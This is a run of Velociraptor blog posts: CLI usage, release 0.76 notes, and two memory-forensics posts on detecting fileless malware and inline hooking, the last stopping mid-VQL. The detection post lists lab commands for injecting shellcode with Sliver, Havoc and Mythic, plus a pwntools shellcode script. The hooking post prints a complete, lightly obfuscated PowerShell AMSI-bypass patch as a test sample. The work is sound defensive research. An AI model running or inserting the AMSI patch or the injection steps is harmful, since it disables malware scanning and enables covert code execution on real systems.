Run the Hayabusa tool
Collect the output CSV file
Clean up various temp directories

Although it is convenient to collect artifacts with external binaries, this can be a problem in practice.

Introducing binaries to an end point may trigger security software alert and can present risks to stability and security, especially if the binary is not very trusted.

Additionally running third party tools can interfere with the forensic evidence we usually collect. For example executables can create additional prefetch entries, powershell may introduce script block logs and USN journals may be rotated.

Many external tools actually have equivalent native VQL parsers - for example the Windows.Hayabusa.Rules artifact uses the same rules in Hayabusa but using Velociraptor’s built in Sigma engine.

Using the CLI to collect artifacts remotely

So far we have seen how to interactively collect artifacts while being logged on to the endpoint directly. This is convenient and very simple, the user simply selects the artifact they need to collect and the results are stored to a local file on their system!

Velociraptor’s super power is the ability to collect forensic artifacts at scale and remotely. This is very easy to do using the powerful Velociraptor GUI but sometimes using the CLI is better (e.g. for automation).

Velociraptor’s server can be fully controlled over Velociraptor’s API. The API allows any VQL plugin to be run on the server, thereby facilitating full automation.

In release 0.76, Velociraptor’s CLI was streamlined to have the same user interface for collecting artifacts from an endpoint or interactively. This makes it more intuitive to use.

In the following example, I collect the Windows.Forensics.Lnk artifact remotely from a client using the CLI. This artifact scans the endpoint for LNK files, parses them and reports any suspicious files.

Before I start I will create an API key so I can connect to the server:

velociraptor --config server.config.yaml config api_client --name APIClient --role administrator api.config.yaml

Creating API client file on api.config.yaml.

Next I collect that artifact in the exact same way as I did above, except that I now provide a client id:

velociraptor -v --api_config api.config.yaml -r Windows.Forensics.Lnk
   --UploadTarget Y
   --client_id C.d7f8859f5e0e01f7
   -o c:\datastore\test.zip

[INFO] 2026-03-28T14:34:25-07:00  _    __     __           _                  __
[INFO] 2026-03-28T14:34:25-07:00 | |  / /__  / /___  _____(_)________ _____  / /_____  _____
[INFO] 2026-03-28T14:34:25-07:00 | | / / _ \/ / __ \/ ___/ / ___/ __ `/ __ \/ __/ __ \/ ___/
[INFO] 2026-03-28T14:34:25-07:00 | |/ /  __/ / /_/ / /__/ / /  / /_/ / /_/ / /_/ /_/ / /
[INFO] 2026-03-28T14:34:25-07:00 |___/\___/_/\____/\___/_/_/   \__,_/ .___/\__/\____/_/
[INFO] 2026-03-28T14:34:25-07:00                                   /_/
[INFO] 2026-03-28T14:34:25-07:00 Digging deeper!                  https://www.velocidex.com
[INFO] 2026-03-28T14:34:25-07:00 This is Velociraptor 0.76.1 built on 2026-03-24T11:08:49+10:00 (90f260124)
[INFO] 2026-03-28T14:34:25-07:00 Loaded api config from api.config.yaml
...
[INFO] 2026-03-28T14:34:25-07:00 API Client configuration loaded - will make gRPC connection.
[INFO] 2026-03-28T14:34:25-07:00 Starting query execution.
[INFO] 2026-03-28T14:34:25-07:00 Scheduled flow F.D744IO927Q3HM on client C.d7f8859f5e0e01f7: [Windows.Forensics.Lnk]
[INFO] 2026-03-28T14:34:26-07:00 Waiting for flow to finish F.D744IO927Q3HM: Status WAITING
[INFO] 2026-03-28T14:34:27-07:00 Compiled all artifacts.
[INFO] 2026-03-28T14:34:27-07:00 Collection succeeded
[INFO] 2026-03-28T14:34:27-07:00 Time 0: : Sending response part 0 124 B (1 rows).
{"Download":["downloads","C.d7f8859f5e0e01f7","F.D744IO927Q3HM","WIN-SJE0CKQO83P-C.d7f8859f5e0e01f7-F.D744IO927Q3HM.zip"]}
[INFO] 2026-03-28T14:34:27-07:00 Storing collection in c:\datastore\test.zip with SHA256 hash 8f67fda6ec225540f0f4ee964f76d9ed4cdaae2c939741460f0ecf27070d8644

The CLI command contains:

--api_config api.config.yaml is the client API key that was generated for connections to the API.
-r Windows.Forensics.Lnk collect the Windows.Forensics.Lnk artifact
--UploadTarget Y an artifact parameter to also upload the raw LNK files for preservation.
--client_id C.d7f8859f5e0e01f7 The client ID to target (each Velociraptor client has a unique ID).
-o c:\datastore\test.zip store the results in this local file.

Velociraptor then goes through these steps:

Schedules a flow on the client. Velociraptor clients can only be tasked via a Flow. You can think of a flow as a unique identifier under which the server is able to track this collection, store the results and display it in the GUI.
Once the flow is scheduled, the command waits for the collection to complete. This can take some time, or even not happen at all. For example, if the client is offline, the flow will not complete until the client comes back online.

Velociraptor flows are typically asynchronous and a more robust approach using the API needs to account for this. However, assuming the client is online this convenient approach should work relatively quickly.
Once the flow completes, Velociraptor will export it to a ZIP file and fetch it from the server.
The collection is stored into the relevant location just as it was before.

The nice thing about this new workflow is that it is very similar to the interactive use we saw before. The collection ends up on the analyst’s local workstation as a simple file ready for further automation or inspection.

The new CLI workflow is just a convenience around a number of API calls. We received feedback that users found using the raw API difficult, so this new workflow was introduced for the simple case of scheduling a collection, and receiving the results. If you want to use the raw API to replicate a similar function in your own scripts, you can look at the source code for this command to inspect the raw API calls used.

When schedule a collection as above, the CLI waits for the collection to end before downloading the results. This may take a long time if the client is not currently online. In this case the CLI will timeout and exit.

You can retrieve the results at a later time by knowing the flow id that was scheduled. Use the artifacts fetch command to fetch a collected artifact from the server.

velociraptor.exe -v  --api_config api.config.yaml  artifacts fetch --client_id C.d7f8859f5e0e01f7 --flow_id F.D744IO927Q3HM --output c:\output\test.zip

[INFO] 2026-03-28T14:47:14-07:00  _    __     __           _                  __
[INFO] 2026-03-28T14:47:14-07:00 | |  / /__  / /___  _____(_)________ _____  / /_____  _____
[INFO] 2026-03-28T14:47:14-07:00 | | / / _ \/ / __ \/ ___/ / ___/ __ `/ __ \/ __/ __ \/ ___/
[INFO] 2026-03-28T14:47:14-07:00 | |/ /  __/ / /_/ / /__/ / /  / /_/ / /_/ / /_/ /_/ / /
[INFO] 2026-03-28T14:47:14-07:00 |___/\___/_/\____/\___/_/_/   \__,_/ .___/\__/\____/_/
[INFO] 2026-03-28T14:47:14-07:00                                   /_/
[INFO] 2026-03-28T14:47:14-07:00 Digging deeper!                  https://www.velocidex.com
[INFO] 2026-03-28T14:47:14-07:00 This is Velociraptor 0.76.1 built on 2026-03-24T11:08:49+10:00 (90f260124)
[INFO] 2026-03-28T14:47:14-07:00 Loaded api config from api.config.yaml
[INFO] 2026-03-28T14:47:14-07:00 Starting query execution.
[INFO] 2026-03-28T14:47:14-07:00 Time 0: : Sending response part 0 124 B (1 rows).
{"Download":["downloads","C.d7f8859f5e0e01f7","F.D744IO927Q3HM","WIN-SJE0CKQO83P-C.d7f8859f5e0e01f7-F.D744IO927Q3HM.zip"]}
[INFO] 2026-03-28T14:47:14-07:00 Storing collection in c:\output\test.zip with SHA256 hash f874e1cce6349d28ea49ce0fb00df845a5f0f6917550ee2cc867f679268f6a3c

Using the CLI to manage the server

In the previous section we saw how to schedule an artifact on a remote client, wait for the result and fetch it to the local machine. In this section we see how to do the same thing on the server. This is useful for various server management tasks.

For this example, I will generate new Windows client MSI packages that can be installed on the fleet. This is usually done via the Server.Utils.CreateMSI artifact:

> velociraptor.exe -v --api_config api.config.yaml -r Server.Utils.CreateMSI --client_id server -o c:\datastore\test.zip

...
[INFO] 2026-03-28T14:58:50-07:00 Scheduled flow F.D744U6L0423QA on client server: [Server.Utils.CreateMSI]
[INFO] 2026-03-28T14:58:51-07:00 Waiting for flow to finish F.D744U6L0423QA: Status FINISHED
[INFO] 2026-03-28T14:58:51-07:00 Collection succeeded
[DEBUG] 2026-03-28T14:58:51-07:00  downloadFlowToZip: Copy file from /clients/server/collections/F.D744U6L0423QA/uploads/scope/Org_<root>_velociraptor-v0.76.1-rc1-windows-amd64.msi to /uploads/scope/Org_<root>_velociraptor-v0.76.1-rc1-windows-amd64.msi
[INFO] 2026-03-28T14:58:52-07:00 Compiled all artifacts.
[INFO] 2026-03-28T14:58:52-07:00 Time 1: : Sending response part 0 91 B (1 rows).
{"Download":["downloads","server","F.D744U6L0423QA","server-server-F.D744U6L0423QA.zip"]}
[INFO] 2026-03-28T14:58:54-07:00 Storing collection in c:\datastore\test.zip with SHA256 hash 27ab24548521139ff489715350181d0c9b119fbb21b5e4b9c655f3deab87b09c

> velociraptor.exe unzip -l c:\datastore\test.zip
[
...
  {
    "Filename": "/uploads/scope/Org_%3Croot%3E_velociraptor-v0.76.1-rc1-windows-amd64.msi",
    "Size": 29114368
  },
...
]

The server creates the MSI then it gets downloaded to my local workstation as part of the artifact collection.

Conclusions

In this blog post we saw how to use the Command Line Interface (CLI) to achieve various tasks with simplicity and speed. The CLI interface makes artifacts into an extensible mini VQL program which can be used conveniently as an isolated tool.

Instead of writing your own stand alone script to perform a single use analysis, please consider writing it as a VQL artifact. The benefits to the user include:

A single user interface, both CLI and GUI
The ability to collect the artifact at scale from many endpoints at the same time.
Machine readable output which can be parsed and post-processed by others
The ability to submit your work to the Artifact Exchange for wider visibility within the community.

Velociraptor 0.76 Release

Tue, 10 Mar 2026 00:00:00 +0000

I am very excited to announce that the latest Velociraptor release 0.76 is now available.

In this post I will discuss some of the new features introduced by this release.

GUI Improvements

This release improves a number of GUI features.

Local searchable documentation

Recently we have been having issues with Google refusing to index our documentation website, despite our best efforts to get them to do so. This has made it frustrating for users trying to find relevant technical information.

To help mitigate this problem we have added a local documentation search feature that allows you to search our docs directly from the Velociraptor GUI. You can read more about how to use it here.

Local documentation search and preview

This search feature is powered by the Bleve search engine, which is also now available to be used for indexing and searching VQL query results as described below.

CLI Improvements

The command line interface has been streamlined to use artifacts as extensible mini-VQL programs. This makes it easy to use specific artifacts as replacements for one shot scripts. See our blog post on The Velociraptor CLI for a complete discussion.

New VQL plugins

Full text indexing and searching

Many users already forward their Velociraptor results to Elasticsearch or Opensearch so that the data is indexed and more easily searchable. In this release we’ve added the ability to index and search results locally using the Bleve search engine, which provides Full Text Search (FTS) capabilities similar to Elasticsearch and other NoSQL database solutions.

This capability is provided by the following new VQL plugins:

Removed plugins

Velociraptor includes some plugins which link to very large libraries with huge API surface, making the binary extremely large. In this release very large libraries were removed or substituted in order to reduce the binary size:

The Elastic library is now handled via a fork to isolate just the Bulk upload API - reducing the binary size by 16mb
The next largest library is the AWS client library used by upload_s3() increasing the binary size by 6mb.
The Google cloud client library is also huge at around 5mb

For regular release builds:

We now use the MinIO S3 library to connect to AWS - this library is much smaller and easier to use. It supports the most common features and should be mostly compatible.
Remove Google cloud dependencies: Google pubsub is a rarely used feature, and with Google Cloud Storage (GCS) we can always enable S3 compatible mode so there is no real need for specific GCS access. See How to set up a GCS Bucket for file uploads to configure your GCS buckets for use with upload_s3()

From this version we’ve introduced a new build tag sumo which includes these large libraries if anyone really needs them. By enabling sumo build tags (i.e. make linux_sumo) it is possible to build a larger binary with the full AWS and Google client libraries.

Conclusions

There are many more new features and bug fixes in the latest release. Please download the release candidate and give it a test and provide feedback.

If you like the new features, take Velociraptor for a spin! It is available on GitHub under an open source license. As always please file issues on the bug tracker or ask questions on our mailing list velociraptor-discuss@googlegroups.com . You can also chat with us directly on discord https://www.velocidex.com/discord .

Memory Analysis with Velociraptor - Part 2

Mon, 22 Dec 2025 00:00:00 +0000

In Memory Analysis with Velociraptor - Part 1 we looked at how to access the RAM with Velociraptor. In this post, we look at how to find fileless malware.

0. Abstract

Commonly, in an incident response scenario one has a live attacker in the network but does not know which systems are compromised. Networks can be quite large and include >10.000 systems. Additionally, attackers nowadays use Command and Control (C2) frameworks running in Random Access Memory (RAM).

Our approach finds the C2 frameworks without knowing where the attacker is, without dumping the RAM and scaling to >10.000 systems.

Our custom Velociraptor Query Language (VQL) artifact Windows.Memory.Mem2Disk compares the code in the .text segment of every process to the code of the executable on disk. Leveraging Velociraptor, we can execute this artifact on >10.000 systems simultaneously and we can analyze the RAM live without actually dumping it.

1. Introduction

The most difficult to detect cyber attacks nowadays are RAM-only attacks or fileless attacks. As most security tools focus on detections in persistent storage (hard disks), attackers avoid them by leveraging the RAM. Commonly, malicious code is injected into legitimate processes live in RAM.

We already detected fileless malware in a proof-of-concept implementation. Our goal is now to improve detection and to detect fileless instances of professional C2 frameworks live without dumping the RAM across a network of computers.

2. Background and Existing Techniques

2.1. Process injection

Process injection is a code injection technique used to execute arbitrary code within the address space of another, possibly legitimate process. The purpose is to evade process-based defenses and escalate privileges. There are many ways of achieving this, e.g.:

Process hollowing is a sub-technique of process injection. It works by creating a process in a suspended state, unmapping its memory, and then replacing it with custom (malicious) code. The custom code is executed under the identity of the previously created process, hollowing it.
Thread Execution Hijacking is comparable to process hollowing but instead of creating a new process, it controls a live thread in an existing process. To accomplish this, it is necessary to pause the running thread.
Inline hooking is a method used to intercept calls to functions. The first few bytes of the target function in memory are overwritten with a jump instruction, redirecting the execution flow to a custom function.
With DLL injection an adversary modifies an existing Dynamic-Link Library (DLL) or adds a new DLL to an existing process. An example for a DLL modification is DLL hollowing analogous to process hollowing while new libraries can e.g. be added by manipulating the Import Address Table (IAT) of the executable.

A full list of process injection techniques can be found at Mitre: Process injection.

2.2. Volatility & Malfind

One of the main existing tools to analyze the RAM is volatility. It requires creating an offline RAM dump first with other tools like WinPmem which takes considerable time. Afterwards, this dump can be analyzed with volatility.

Most commands of volatility require in-depth knowledge of the RAM and the operating system. An exception is malfind, which searches for memory pages that are writable and executable. The hypothesis is that memory pages are either writable or executable. If executable pages are writable again, it means an injection took place and the page is flagged.

2.3. Hollowshunter

Hollowshunter scans the RAM of one machine for various malware injection techniques. It uses PE-sieve, a tool to scan a single process.

2.4. MemProcFS

MemProcFS provides a filesystem-like view of the RAM. This way, files can easily be accessed. However, detection of malware is mostly left to the analyst.

3. Methodology

To test against C2 frameworks, we use the most common open source C2 frameworks and inject shellcode (e.g. an implant) into a legitimate process. The utilized C2 frameworks are Sliver, Havoc, and Mythic.

Our test setup consists of two virtual machines, a Kali machine (attacker) and a Windows 10 host (victim). Both machines can reach each other and the anti-virus (Windows Defender) is turned off. Anti-virus bypasses are not the focus in this article and were therefore excluded.

3.1. Sliver Setup

We create a Sliver HTTP agent and deploy it on the victim computer. Afterwards, we create a beacon and injected it using execute-assembly --ppid <ppid> --process <process.exe> ./beacon.exe.

3.2. Havoc Setup

After creating and executing the Havoc agent, we use shellcode inject x64 <pid> /path/to/shellcode.bin to inject into a process.

3.3. Mythic Setup

Similar to Sliver and Havoc, we create a Mythic agent and we deploy it. We use the Apollo agent and http C2 profile.

To inject into a process we use shinject -PID <pid> -File /path/to/shellcode.bin.

3.4. Shellcode

The shellcode used in the tests is created using the Python pwntools library with the following script.

from pwn import *

context.update(arch="amd64")
path = "C:\\Program Files\\example\\example.exe"
pay = (asm(shellcraft.amd64.windows.winexec(path)))

with open("shellcode.bin", "wb") as bf:
    bf.write(pay)

We simply start a random executable with the shellcode. Usually, an attacker would start a beacon or backdoor.

4. Technique

4.1. Velociraptor

Memory Analysis with Velociraptor - Part 1 already described in depth how to access the RAM with Velociraptor. This works live with the accessors of Velociraptor, so we do not need to dump the entire RAM. It scales up to thousands of computers, therefore, we can detect C2 frameworks in entire networks without previously knowing which machines are infected.

Our detection technique, Windows.Memory.Mem2Disk, compares the .text segment of running processes to the executable on disk. Any deviation indicates suspicious behaviour, i.e. mostly RAM injections.

4.2. BaseOfData and ASLR

While this detection sounds trivial, code in RAM and code on disk should not match. Address Space Layout Randomization (ASLR) and Relative Virtual Address (RVA) introduce offsets to the RAM.

Interestingly, in our experiments, most of the time code in RAM perfectly matched the code on disk. As it turns out, modern compilers and linkers nearly exclusively use relative jumps instead of absolute ones.

The only common exception we found in our experiments was the RVA BaseOfDate of 32-bit executables (see Microsoft and 0xrick for details).

In the first stage of our experiments, BaseOfData introduced changes to the .text segment of one byte. For example, in our analysis of firefox.exe process, we observed the differences shown in Table 1. Since BaseOfData is a relative address, the offset between code and memory content is always the same (as shown in the table). It actually represents Address Space Layout Randomization (ASLR) and, thus, while we only observed one byte offsets, it is actually a 32-bit offset. BaseOfData only exists for 32-bit programs, which is why we only observed these offsets for 32-bit binaries.

Memory	Disk	Times	Difference
0x44	0x06	2724	62 (0x3e)
0x45	0x07	2385	62 (0x3e)
0x42	0x04	21	62 (0x3e)
0x40	0x02	27	62 (0x3e)
0x43	0x05	12	62 (0x3e)
0x41	0x03	1	62 (0x3e)

Table 1: 32-bit Firefox BaseOfData offsets

Thanks to Mike Cohen we were able to improve our VQL code, calculate the ASLR offset and ignore these false positives. Thus, eliminating false positives from ASLR as well as BaseOfData in one go.

Afterwards, none of the legitimate processes we analyzed were detected (see Table 2).

Name	BaseOfData	Detected	Detected ignoring ASLR
Adobe Acrobat Reader	yes	yes	no
Command Prompt	no	no	no
Discord	no	no	no
Google Chrome (x32)	yes	yes	no
Google Chrome (x64)	no	no	no
LibreOffice Writer	yes	yes	no
LibreOffice Calc	yes	yes	no
Microsoft Edge	no	no	no
Microsoft Edge Updates	yes	yes	no
Microsoft Teams	no	no	no
Mozilla Firefox (x32)	yes	yes	no
Mozilla Firefox (x64)	no	no	no
Spotify	yes	yes	no
Velociraptor	yes	yes	no
VLC	yes	yes	no
Windows Calculator	no	no	no
WordPad	no	no	no
Zoom	yes	yes	no

Table 2: Legitimate binaries with and without ignoring ASLR

5. Results

Additionally to legitimate binaries, we tested the (RAM-based) malware samples shown in Table 3.

Num	Sample	Detected
1	AgentTesla	yes
2	AssemblyInjection	no
3	Astaroth	no
4	Azorult	yes
5	BADNEWS	yes
6	bandook	yes
7	Donut	no
8	Dyre	yes
9	Empire	no
10	Gh0stRAT	yes
11	GuLoader	yes
12	Havoc C2	yes
13	HopLight	no
14	HyperBro	yes
15	Injection PoC	no
16	ISMAgent	yes
17	lokibot	yes
18	Mythic C2	yes
19	netwire	yes
20	Pandora	yes
21	Platinum Group	no
22	qakbot	no
23	remcos	yes
24	REvil	yes
25	RokRAT	yes
26	Ryuk	yes
27	sliver C2	yes
28	Slothful Media	yes
29	smokeloader	yes
30	synack	no
31	TsCookie	no
32	ursnif	yes
33	WarzoneRAT	yes
34	WhisperGate	yes

Table 3: Tested malware samples and their detection

Injecting code into legitimate programs with all three tested C2 frameworks (Sliver, Havoc, and Mythic) is detected by Mem2Disk. Additionally, 21 further malware samples were successfully detected.

We usually injected into a running Calculator app. Figure 1 and 2 show screenshots of the detections for Havoc C2 and Mythic C2 respectively. The left side of the screen shows the attacker virtual machine while the right side shows the victim including the Velociraptor detection. Process Hacker was also displayed to show the PID of the Calculator app. As shown in the two screenshots, both times Velociraptor detects Calculator as compromised.

Figure 1: Havoc C2 Detection

Figure 2: Mythic C2 Detection

Table 4 shows our full evaluation. Numbers in brackets are the amount of samples in this category.

	Not-detected	Detected	Total
Non-malware	35% (18)	0% (0)	35% (18)
Malware	19% (10)	46% (24)	65% (34)
Total	54% (28)	46% (24)	100% (52)

Table 4: Detection rates (numbers in brackets are amount of samples)

With these results, the true negatives (TN) are 35%, while the false positives (FP) are 0%. Also, the false negatives (FN) are 19%, and the true positives (TP) are 46%.

As shown in the equations below, the detection rate is 100.0%, while the sensitivity is 70.6%, and the accuracy is 80.8%.

$Detection\ rate = \frac{TP}{TP + FP} \times 100 = \frac{24}{24 + 0} \times 100 = 100.0%$

$Sensitivity = \frac{TP}{TP + FN} \times 100 = \frac{24}{24 + 10} \times 100 = 70.6%$

$Accuracy = \frac{TN + TP}{TN + TP + FN + FP} \times 100 = \frac{18 + 24}{18 + 24 + 10 + 0} \times 100 = 80.8%$

Lastly, detections usually ran within 1-5 minutes, sometimes in under a minute depending on the system hardware. It scales to the maximum number of systems Velociraptor can handle in parallel (i.e. >10.000 machines).

6. Discussion

6.1. Evaluation

We tested Mem2Disk against available malware, own malware created using three well-known C2 frameworks, and benign software.

The results are quite promising and we were able to detect state-of-the-art open source C2 frameworks. When filtering out ASLR, Mem2Disk did not detect many false positives in our tests.

Our approach shows that it is possible to scale RAM analysis up to multiple systems without prior knowledge which systems might be affected.

Mem2Disk only detects RAM injections that are visible within the .text segment of a process or its libraries. Adding a new memory page or manipulating memory locations outside of the .text segment are not detected.

Thus, Portable Executable (PE) injections (T1055.002), threat execution hijacking (T1055.003), threat local storage (T1055.005), ptrace system calls (T1055.008), process hollowing (T1055.012), process doppelgänging (T1055.013), and ListPlanting (T1055.015) could be detected.

While Asynchronous Procedure Call (APC) injection (T1055.004), proc memory injections (T1055.009), extra windows memory injection (T1055.011), and Virtual Dynamic Shared Object (VDSO) hijacking (T1055.014) are currently not detected.

DLL injection (T1055.001) might be detected if program code or DLL code is changed (e.g. DLL hollowing) but is not detected if a DLL is loaded additionally (e.g. via Import Address Table (IAT)). IAT could be detected though, if the new code is added in memory to an existing library.

If malware removes itself from RAM temporarily or hooks the functions used by Velociraptor, it could still hide itself from Mem2Disk. We also observed that some of the false negatives ran pretty quickly, so we suspect that they were already finished when Velociraptor ran.

Lastly, there are legitimate tools - likely security tools - using similar functionalities, which would create false positives. We have not encountered them, since we do not have licenses for most of these tools, but analysts should be aware that security tools can trigger Mem2Disk detections.

6.2. Comparison to Other Tools

Volatility as the state-of-the-art memory forensics tool has a different focus to our implementation. Volatility aims to enable a forensic expert to deeply analyze one RAM dump. It does not scale to multiple RAMs and it relies mostly on the knowledge of the analyst. The most comparable plugin malfind searches for executable (and writable) memory pages like Mem2Disk however then analyzes those pages more thoroughly than Mem2Disk. So, Volatility is more capable than Mem2Disk but does not scale well.

MemProcFS per se is more of a RAM access tool than a RAM analysis tool. It enables the analyst to access the RAM through a browser but ultimately relies on the analyst to find malware with the exception of the findevil plugin. It is work in progress and currently only detects user-mode malware. It is comparable to Volatility, provides more options than Mem2Disk but cannot be executed on multiple machines easily.

Hollows Hunter and PE-sieve are the most comparable tools to Mem2Disk. They employ a variety of techniques to detect malware on one system and are more capable and in-depth than Mem2Disk. Hollows Hunter can also be executed via Velociraptor with the Windows.Memory.HollowsHunter plugin and scales to multiple machines.

In contrast to Windows.Memory.HollowsHunter, Mem2Disk is a Velociraptor-native plugin fully written in VQL and benefits from the parallelization of Velociraptor. No additional binary has to be uploaded to the client machines (unlike Windows.Memory.HollowsHunter), which also means Velociraptor can regulate the CPU load of Mem2Disk. As already mentioned, detections usually ran within 1-5 minutes, mostly in under a minute depending on the system hardware. Therefore, the performance overhead of Mem2Disk seems acceptable in a normal company network. Anti-virus scans in comparison would take considerable more time and are generally accepted.

In summary, Mem2Disk is useful for breadth search. For example when not knowing if or where fileless malware hides within a full network of more than a few machines. When analyzing known-compromised machines or only a few suspicious machines, the other mentioned tools give more details than Mem2Disk and should be preferred.

7. Conclusion

All in all, the blue team just stepped up. We are able to detect injected implants of common C2 frameworks live in RAM and scalable to thousands of machines in nearly real-time.

We also recommend memory forensics experts to think about scalability of their tools. Velociraptor enables memory forensics on multiple machines without dumping the RAM.

Happy detecting!

8. Acknowledgement

We would like to express our gratitude to Prof. Nicolas Wolovick for supporting this publication with advice and guidance and to Mike Cohen for improving our VQL code, giving feedback on the blog post as well as helping us understand the connection between RVA, BaseOfData and ASLR.

Memory Analysis with Velociraptor - Part 1

Fri, 14 Nov 2025 00:00:00 +0000

This post was spurred by the recent release of the Windows.Memory.Mem2Disk artifact, written by Lautaro Lecumberry and Dr. Michael Denzel. The artifact was a culmination of their excellent thesis, Detecting Fileless Malware using Endpoint Detection and Response Tools. You should check it out!

Memory analysis is a powerful technique used in DFIR to detect malware and persistence mechanisms which are sometimes not detectable using more conventional disk based methods.

Over the years, frameworks like Volatility or MemprocFS have become the standard go-to tools when analysts think of memory analysis. Those frameworks usually operate on a static image of physical memory.

However, this has a number of shortcoming when performing active response in modern environments:

In order to obtain the physical memory image (for example, using a tool like WinPmem) one usually needs to load a kernel driver. On hardened endpoints this is not always possible, presenting challenges in actually obtaining memory images.
The size of physical memory is very large in modern systems. Most consumer laptops now regularly ship with 16Gb of physical RAM and most server class machines have memory sizes in the range of 128Gb to 1Tb of Physical RAM.

A larger RAM size presents challenges for analysis. First, the size of the image makes it difficult to store and transport across the network. Additionally, the image quality is usually poor due to a larger amount of memory smear exasperated during the longer acquisition time - making subsequent memory analysis unreliable.
Physical memory images are actually not a very good format for acquiring the state of the endpoint. This is because operating systems use virtual memory and on demand paging. For example, while in theory one can dump binaries from running memory using e.g. Volatility’s procdump plugin, in reality the dumped binaries are missing many executable pages, which are not memory resident. Instead the operating system will page those binary instructions from disk at runtime, if they are needed.

Therefore capturing physical memory, even if done perfectly and without smear, will miss many parts of those things we actually need to extract in our analysis - such as binaries, or user data (which may be in the page file), etc.

Velociraptor’s memory analysis capabilities do not rely on physical memory. Although Velociraptor does have the ability to capture a physical memory image (e.g. using the Windows.Memory.Acquisition artifact), we don’t recommend this approach. Much of Velociraptor’s memory capabilities are implemented using plugins which directly query the operating system for information about the system (including process memory).

Many of Velociraptor’s memory analysis plugins have equivalent or similar plugins in Volatility. Using these plugins allows Velociraptor to perform similar analysis to many of Volatility’s native physical memory analysis modules.

However, Velociraptor’s approach is faster and more scalable since it does not need to acquire an image first, and can get perfect information as needed. For example, when dumping a binary from memory, we automatically cause the OS to page in non-resident pages (simply by virtue of reading the page through the API), so the end binary dump is perfect and far better than we could get from a physical memory image.

This blog post is the first in a series of posts describing Velociraptor’s approach to memory analysis. In each post I will compare and contrast Velociraptor’s approach to other memory analysis frameworks. In particular I will dive into the VQL queries that are used to develop such artifacts in order to share my development process and point out some of the lesser known capabilities.

My goal is to convince you to think of Velociraptor’s memory analysis capability as the first port of call when developing new memory-based detections! It is far more practical than writing a single use python script, and it can be deployed quickly and at scale.

In this post I will discuss how to detect inline hooking. There are many open source tools which implement this kind of detection (for example Hollows Hunter which you can use with Velociraptor via the Windows.Memory.HollowsHunter artifact). In this post I will describe how this can be implemented purely in VQL.

Inline hooking of binaries

Inline hooking is a popular technique for subverting a binary by patching the function header as it is loaded into memory. For example, patching ETW tracing functionality can disable user space ETW reporting, such as PowerShell script block logging.

It is also possible to patch functions in other processes, thereby subverting them by diverting execution to attacker-controlled code injections.

Patching a function preamble

The process is illustrated above. When a DLL is loaded into memory, the OS maps its text section (i.e. the actual code of the functions it exports) into the process’s virtual memory. Normally calling these functions causes execution to jump into the function body. However, the attacker may want to prevent calling some functions. Therefore, they can simply overwrite the front of the function with a return instruction causing the function to be bypassed.

To illustrate this technique, let’s examine the following short powershell snippet: AMSIBypassPatch.ps1

function Disable-Protection {
    $k = @"
using System;
using System.Runtime.InteropServices;
public class P {
    [DllImport("kernel32.dll")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
    [DllImport("kernel32.dll")]
    public static extern IntPtr GetModuleHandle(string lpModuleName);
    [DllImport("kernel32.dll")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
    public static bool Patch() {
        IntPtr h = GetModuleHandle("a" + "m" + "s" + "i" + ".dll");
        if (h == IntPtr.Zero) return false;
        IntPtr a = GetProcAddress(h, "A" + "m" + "s" + "i" + "S" + "c" + "a" + "n" + "B" + "u" + "f" + "f" + "e" + "r");
        if (a == IntPtr.Zero) return false;
        UInt32 oldProtect;
        if (!VirtualProtect(a, (UIntPtr)5, 0x40, out oldProtect)) return false;
        byte[] patch = { 0x31, 0xC0, 0xC3 };
        Marshal.Copy(patch, 0, a, patch.Length);
        return VirtualProtect(a, (UIntPtr)5, oldProtect, out oldProtect);
    }
}
"@
    Add-Type -TypeDefinition $k
    $result = [P]::Patch()
    if ($result) {
        Write-Output "Protection Disabled"
    } else {
        Write-Output "Failed to Disable Protection"
    }
}

Disable-Protection

This code prevents calling AmsiScanBuffer used to scan PowerShell code for suspicious constructs:

It gets a handle to the amsi.dll library.
It then finds the AmsiScanBuffer function.
Changes the page protections on the function to allow writing on the memory.
Overwrites the memory with a return op code
Changes memory protections back.

You can use this example while reading the following post.

How can we detect memory patching?

The main indicator for memory patching is that the code resident in memory is not the same as the code of the DLL on disk. So the approach here is to compare the code in memory with the code on disk for each DLL.

I will develop the following in a notebook cell which I am launching on a Windows system using Instant Velociraptor. This approach allows me to interactively develop my VQL on a live system in the convenience of a GUI notebook without needing to call into a remote client. See Artifact Writing Tips for more details.

In a separate window I start powershell, and paste the above code into it. This will patch amsi.dll so I can use it as a test to develop my VQL.

Step 1: Enumerate processes of interest

First I list all the processes and identify the powershell process.

SELECT * FROM pslist()
WHERE Name =~ "powershell"

Filtering processes by name

The pslist() VQL plugin is similar to Volatility’s pslist plugin - it simply lists all active processes and reveals important information about them.

In this case, I am interested in the process ID (Pid) of the powershell process. I want to use that to see all dll’s mapped into the powershell process’s address space.

Step 2: Finding mapped Dlls

I am especially interested in how this process is mapping the amsi.dll. Executable dlls are normally mapped into a process address space by the kernel when the dll is loaded. I can view the mapped sections of a process using the vad() VQL plugin. This plugin is equivalent to Volatility’s vad plugin, and produces a list of all mapped sections in the process. If the section is backed by a file then the filename is also given, as well as the memory protections of the region.

SELECT * FROM foreach(row={
  SELECT * FROM pslist()
  WHERE Name =~ "powershell"
}, query={
  SELECT Pid, Name, *
  FROM vad(pid=Pid)
  WHERE MappingName =~ "amsi.dll"
})

Inspecting the dlls mapped into the process address space

As we see above, the region with PAGE_EXECUTE_READ protections which is backed by the amsi.dll is the one containing the actual code exported by the DLL.

So our goal is to find the same dll on disk and compare the bytes in memory with the bytes on disk.

Step 3: Convert from kernel paths to filesystem paths

However, as you can see, the Windows kernel reports the mapping filename in kernel path conventions: \Device\HarddiskVolume3\Windows\System32\amsi.dll referring to the kernel’s internal device manager path. We can not use this path to directly open the file on disk.

Somehow, we need to convert \Device\HarddiskVolume3\ to C:\. The conversion is actually done by the Kernel’s object manager depending on how the volumes are mounted at the moment. The C:\ drive letter is simply a symbolic link to the real path as far as the kernel is concerned.

Luckily we can inspect the content of the kernel object manager using the winobj() plugin. This is the VQL equivalent of Volatility’s winobj plugin. It shows the kernel’s object manager namespace.

I won’t get into too much detail, but the following VQL code translates from kernel paths into file paths using the object manager namespace. I just paste this code in my notebook and call it as DriveReplace(Path):

-- These functions help to resolve the Kernel Device Filenames
-- into a regular filename with drive letter.
LET DriveReplaceLookup <= SELECT
    split(sep_string="\\", string=Name)[-1] AS Drive,
